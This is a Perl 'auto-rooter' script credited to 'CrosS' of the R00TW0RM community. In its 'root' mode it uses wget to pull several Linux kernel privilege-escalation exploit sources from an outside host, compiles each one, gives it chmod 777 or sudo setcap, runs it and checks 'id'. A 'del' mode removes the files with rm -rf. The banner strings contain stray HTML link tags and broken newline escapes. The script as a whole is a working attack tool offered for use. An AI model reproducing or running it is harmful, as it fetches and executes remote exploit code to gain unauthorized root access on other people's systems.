[Perl] Autorooter Linux

[SAKAROV]

#!/usr/bin/perl
#Coded By CrosS ( 2011 Linux Auto r00t3r )
print "###########################################################n";
print "#             (Beta 1.0 )   <a title="Auto rooter" href="http://www.pentestit.com/tag/auto-rooter/">Auto rooter</a> by CrosS           #n";
print "#  Usage :                                                 #n";
print "#    perl $0 root    => To root            #n";
print "#    perl $0 del     => Delete <a title="Exploit" href="http://www.pentestit.com/tag/exploit/">Exploit</a>     #n";
print "#                                                          #n";
print "#       as R00TW0RM - Private Community is back            #n";
print "#                  so Releasing 2011 auto rooter =)        #n";
print "#   in case of error mailto: mr.0x0day[AT]live.com         #n";
print "#                                                          #n";
print "#        Thanks to: r0073r and L0rd CrusAd3r               #n";
print "#              <a title="http" href="http://www.pentestit.com/tag/http/">http</a>://www.r00tw0rm.com/forum               #n";
print "###########################################################nnn";

if ($ARGV[0] =~ "root" )
{
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.18.c");
system("gcc 2.6.18.c -o 2.6.18");
system("chmod 777 2.6.18");
system("./2.6.18");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.33.c");
system("gcc 2.6.33.c -o 2.6.33");
system("chmod 777 2.6.33");
system("./2.6.33");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.34.c");
system("gcc -w 2.6.34.c -o 2.6.34");
system("sudo setcap cap_sys_admin+ep 2.6.34");
system("./2.6.34");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.37-rc2.c");
system("gcc 2.6.37-rc2.c -o 2.6.37-rc2");
system("chmod 777 2.6.37-rc2");
system("./2.6.37-rc2");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.37.c");
system("gcc 2.6.37.c -o 2.6.37");
system("chmod 777 2.6.37");
system("./2.6.37");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/2.6.43.2.c");
system("gcc -w 2.6.43.2.c -o 2.6.43.2");
system("sudo setcap cap_sys_admin+ep 2.6.43.2");
system("chmod 777 2.6.43.2");
system("./2.6.43.2");
system("id");
system("wget http://www.r00tw0rm.com/2o11Expl01t/3.0.c");
system("gcc 3.0.c -o 3.0");
system("chmod 777 3.0");
system("./3.0");
system("id");
}
if ($ARGV[0] =~ "del" )
{
print "All Exploit deleting ...n";
system("rm 2.6*;rm -rf 2.6*;rm 3.0*;rm -rf 3.0*");
}

credit:cross